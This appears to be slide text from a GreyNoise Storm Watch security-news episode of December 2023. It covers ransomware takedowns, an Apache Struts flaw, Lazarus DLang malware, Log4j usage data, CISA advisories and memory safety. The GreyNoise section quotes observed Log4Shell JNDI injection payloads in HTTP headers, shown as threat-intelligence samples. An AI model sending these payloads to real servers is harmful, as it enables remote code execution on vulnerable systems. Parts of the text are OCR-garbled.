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Dateline: 2023-12-12



GREYNOISE



https://show.greynoise-storm.watch/



Storm

 Watch by GreyNoise Intelligence
 GreyNoise Intelligence

TECHNOLOGY · UPDATED WEEKLY

GreyNoise Storm Storm Watch is a weekly podcast and livestream hosted by GreyNoise Intelligence (https://www.greynoise.io), a cybersecurity company that focuses on understanding internet noise. The show features hosts b моле

https://pod.greynoise-storm.watch/













https://www.securityweek.com/law-enforcement-reportedly-behind-takedown-of-blackcat-alphv-ransomware-website/

RANSOMWARE

Law Enforcement Reportedly Behind Takedown of BlackCat/Alphv Ransomware Website

The leak website of the notorious BlackCat/Alphv ransomware group has been offline for days and law enforcement is reportedly behind the takedown.



By Eduard Kovacs December 11, 2023











Today's Lesson: Yet-Another Horrible Apache Struts Vulnerability WAT IMPACTS

- CVE-2023-50164: A critical vulnerability in Apache Struts 2
- Allows attackers to manipulate file upload parameters
- Enables path traversal & potential remote code execution
 - HOW TO FIX IT THIS TIME
 - Upgrade to Struts 2.5.33 or Struts 6.3.0.2 or greater
 - No workarounds available O_O
 - Upgrade is a drop-in replacement & should be straightforward
 - Discovered and reported by Steven Seeley of Source Incite

- Struts 2.3.37 (EOL)
- Struts 2.5.0 Struts 2.5.32
- Struts 6.0.0 Struts 6.3.0

https://nvd.nist.gov/vuln/detail/CVE-2023-50164





Operation Blacksmith: Lazarus targets organizations worldwide using novel Telegram-based malware written in DLang

By Jungsoo An, Asheer Malhotra, Vitor Ventura

MONDAY, DECEMBER 11, 2023 08:50



https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/



Cisco Talos recently discovered a new campaign called "Operation Blacksmith" conducted by the Lazarus Group, which involves the use of at least three new DLangbased malware families, two of which are remote access trojans (RATs). The campaign targets manufacturing, agricultural, and physical security companies, and exploits the CVE-2021-44228 (Log4j) vulnerability.

By Jungsoo An, Asheer Malhotra, Vitor Ventura

MONDAY, DECEMBER 11, 2023 08:50



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Hello Log4j, My Old Friend

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- > November 2023
- > October 2023
- > September 2023

2023-12-05

Potential Log4j Java RCE Exploit Detected



Existing Tags For This Event

Carries HTTP Referer Web Crawler TLS/SSL Crawler

Payload Examples 🖒 🕄

```
GET / HTTP/1.1
Accept-Charset: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Accept-Datetime: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Accept-Encoding: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Accept-Language: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Ali-Cdn-Real-Ip: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Authorization: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Cache-Control: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Cdn-Real-Ip: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Cdn-Src-Ip: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Cf-Connecting-Ip: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Client-Ip: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Connection: close
Connection: close
Contact: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Cookie: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Dnt: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Fastly-Client-Ip: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Forwarded-For-Ip: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Forwarded-For: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Forwarded-Proto: ${jndi:ldap:${::-/}${::-/}:/gjXDgfXRqAUwtavzwYy9GP}
Forwarded: ${indi:ldap:${::-/}${::-/}:/giXDgfXRgAUwtavzwYv9GP}
```



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< 1 / 110 records >

EXPORT

https://sift.labs.greynoise.io/

COPY ALL ASSOCIATED EVENT IDS



GreyNoise Sift Novel Log4j Payload Clusters

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- > October 2023
- > September 2023

2023-12-05

Potential JNDI Injection in H



Existing Tags For This Event

Web Crawler TLS/SSL Crawler

Payload Examples 🖄 🖼

GET /websso/SAML2/SSO/vsphere.local?S Accept-Encoding: gzip Connection: close Connection: close Host: <ip> User-Agent: <ua-removed> X-Forwarded-For: \${jndi:ldap:\${::-/}\$

GET /websso/SAML2/SSO/vsphere.local?S Accept-Encoding: gzip Connection: close Connection: close Host: <ip> User-Agent: <ua-removed> X-Forwarded-For: \${jndi:ldap:\${::-/}\${

Unique (Trimmed) Web Paths Search

• <u>/websso/SAML2/SSO/vsphere.local</u>





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			COPY ALL ASSOCIATED EVENT IDS
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VERACODE

/dec 7, 2023

State of Log4j Vulnerabilities: How Much Did Log4Shell Change?



By Chris Eng



https://www.veracode.com/blog/research/state-log4j-vulnerabilities-how-much-did-log4shell-change







VERACODE

/dec 7, 2023

Veracode analyzed data from software scans over 90 days between August 15 and November 15, 2023 for **38,278 unique applications** running Log4j versions 1.1 through 3.0.0alpha1 **across 3,866 organizations**.



By Chris Eng







VERACODE

/dec 7, 2023

versions of Log4j with the Log4Shell vulnerabilities (Log4j2 2.0-beta9 through 2.15.0)



By Chris Eng



2.8 percent of applications are still using



79% of the time, developers never update a code base.



VERACODE

https://info.veracode.com/report-state-of-software-security-volume-11.html κεροιτ

State of Software Security **v11**

third-party libraries after including them in













a downloader.

such as HazyLoad on an infected endpoint.



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by bungado An, Aancer Mundula, vitor

Talos

- Telegram bots and channels for command and
- DLRAT: A non-Telegram-based RAT that is also

BottomLoader: A DLang-based downloader that downloads and executes additional payloads



The campaign demonstrates a shift in tactics for the Lazarus Group, with the adoption of **DLang** for malware development and the use of Telegram as a C2 channel. The malware families share overlaps with previous campaigns conducted by the North Korean state-sponsored group Onyx Sleet (PLUTIONIUM), also known as the Andariel group. APT

By Jungsoo An, Asheer Malhotra, Vitor Ventura

MONDAY, DECEMBER 11, 2023 08:50



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Talos





RESEARCH

Memory-safe languages so hot right now, agrees Lazarus Group as it slings DLang malware

Latest offensive cyber group to switch to atypical programming for payloads https://www.theregister.com/2023/12/11/lazarus_group_edang/

Connor Jones

Research into Lazarus Group's attacks using Log4Shell has revealed novel malware strains written in an atypical programming language.



DLang is among the newer breed of memory-safe languages being <u>endorsed by Western</u> security agencies over the past few years, the same type of language that cyber criminals are



Mon 11 Dec 2023 // 18:08 UTC



D is a general-purpose programming language with static typing, systems-level access, and C-like syntax. With the **D** Programming **Language**, write fast, read fast, and run fast.

Fast code, fast.

Download DMG File

Other Downloads

Latest version: 2.106.0 – <u>Changelog</u>

D is made possible through the hard work and dedication of many volunteers, with the coordination and outreach of the D Language Foundation, a 501(c)(3) non-profit organization. You can help further the development of the D language and help grow our community by supporting the Foundation.

Donate







Support the D language

Learn More About The Foundation



8 SIGN IN / UP



RESE	Evasion and Stealth
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DLang i	is among the newer breed of memory-



-safe languages being <u>endorsed by Western</u> security agencies over the past few years, the same type of language that cyber criminals are

The Register[®]

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8:08 UTC

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https://github.com/secengjeff/awskillswitch

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le Add file - <> Code -	About
	Lambda function that streamlines containment of an AWS account
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ELOG 2 weeks ago	Releases
G 2 weeks ago	No releases published





secengjeff / awskillswitch

Apply a service control policy (SCP) to freeze the state of a targeted account

Detach all policies and delete inline policies from a targeted IAM role

Revoke all sessions on a targeted IAM role or ALL customer managed IAM roles in a targeted account

Delete a targeted IAM role (which also revokes all sessions)

Released version 1.1, see CHANGE

Released v1.2.0, see CHANGELOG

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ELOG	2 weeks ago	Releases
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The actions you take with this tool are one-way operations. Do not test/experiment in production. Any SCPs applied or IAM roles deleted will remain in this state until manual action is taken to remove the SCP or recreate deleted role and/or policies. Ensure that you have the the ability to reverse these changes and incorporate the appropriate steps in your incident response playbooks.

> Released version 1.1, see CHANGELOG 2 weeks ago Releases Released v1.2.0, see CHANGELOG 2 weeks ago No releases published

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Shameless Self-Promotion

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https://www.greynoise.io/blog/using-greynoise-eap-sensors-for-novel-exploitation-discovery-for-cve-2023-47246

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Using GreyNoise EAP Sensors For Novel Exploitation Discovery For CVE-2023-47246

The GreyNoise Team December 7, 2023







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GREYNOISE

WEBINAR

GreyNoise Sift: How to Leverage the Power of AI/ML to Improve Threat Analysis

Thursday, December 14th | 10:30am CT / 11:30am ET







https://www.greynoise.io/events/webinar-greynoise-sift-how-to-leverage-the-power-of-ai-ml-to-improve-threat-anal

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STORM WØTCH



• Oracle WebLogic CVE-2017-10271 RCE Attempt JBoss Seam RCE Attempt (CVE-2010-1871) Apache Flink File Upload Attempt (CVE-2020-17518) KubeOperator Unauth API Access Attempt (CVE-2023-22480) Lexmark Printers RCE Attempt (CVE-2023-26067) WordPress VR Calendar RCE Attempt (CVE-2022-2314) • TOTOLink CVE-2023-30013 RCE Attempt

https://viz.greynoise.io/trends?view=recent



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- D-Link DAP-2020 Information Disclosure Attempt (CVE-2021-27250)
- WordPress WPCargo Track & Trace RCE Attempt (CVE-2021-25003)





WE NEED

TO TALK

ABOUT

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Days Since The Last KEV Release

https://observablehq.com/@greynoise/greynoise-tags



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CVE-2023-33107: Qualcomm Multiple Chipsets Integer Overflow

- CVE-2023-33106: Qualcomm Multiple Chipsets Use of Out-of-Range Pointer Offset
- CVE-2023-33063: Qualcomm Multiple Chipsets Use-After-Free
- CVE-2022-22071: Qualcomm Multiple Chipsets Use-After-Free
- 🛎 CVE-2023-41266: Qlik Sense Path Traversal 💷 👘
- 🛎 CVE-2023-41265: Qlik Sense HTTP Tunneling 💷 🃝
- CVE-2023-6448: Unitronics Vision PLC and HMI Insecure Default Password

https://www.cisa.gov/known-exploited-vulnerabilities-catalog





STORMWØTCH



CYBERSECURITY ADVISORY

IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including U.S. Water and Wastewater Systems Facilities

Release Date: December 01, 2023

RELATED TOPICS: ADVANCED PERSISTENT THREATS AND NATION-STATE ACTORS, CRITICAL INFRASTRUCTURE SECURITY AND RESILIENCE, CYBER THREATS AND **ADVISORIES**

ACTIONS TO TAKE TODAY TO MITIGATE MALICIOUS ACTIVITY:

- 1. Implement multifactor authentication.
- **2.** Use strong, unique passwords.
- 3. Check PLCs for default passwords.



Alert Code: AA23-335A

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a





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TAGS ANALYSIS ALERTS SENSORS

https://viz.greynoise.io/sensors/persona

	PROTOCOL [?]	CATEGORY	AUTHOR	PUBLISH DA
signed to match responses.	http	webserver, shallow- clone, rev1	@GreyNoiseIO ⊠	2023-11-09
gned to match responses.	http	webserver, shallow- clone, rev1	@GreyNoiseIO ↗	2023-11-09
Series PLC. Designed and HTTP responses.	http	webserver, shallow- clone, rev1	@GreyNoiseIO [↗	2023-11-17

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TLP:CLEAR



The Case for Memory Safe Roadmaps

Why Both C-Suite Executives and Technical Experts **Need to Take Memory Safe Coding Seriously**

Publication: December 2023

United States Cybersecurity and Infrastructure Security Agency United States National Security Agency **United States Federal Bureau of Investigation** Australian Signals Directorate's Australian Cyber Security Centre

Canadian Centre for Cyber Securi

New Zealand National Cyber Secu

United Kingdom National Cybers https://www.cisa.gov/sites/default/files/2023-12/The-Case-for-Memory-Safe-Roadmaps-508c.pdf

Computer Emergency Response Team New Zealand

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- ~70% of Microsoft CVEs (2006-2018 CVE corpus)
- ~70% of Google's Chromium project
- ~94% critical/high Mozilla bugs
- 67% of O-day's in Project Zero's 2021 corpus



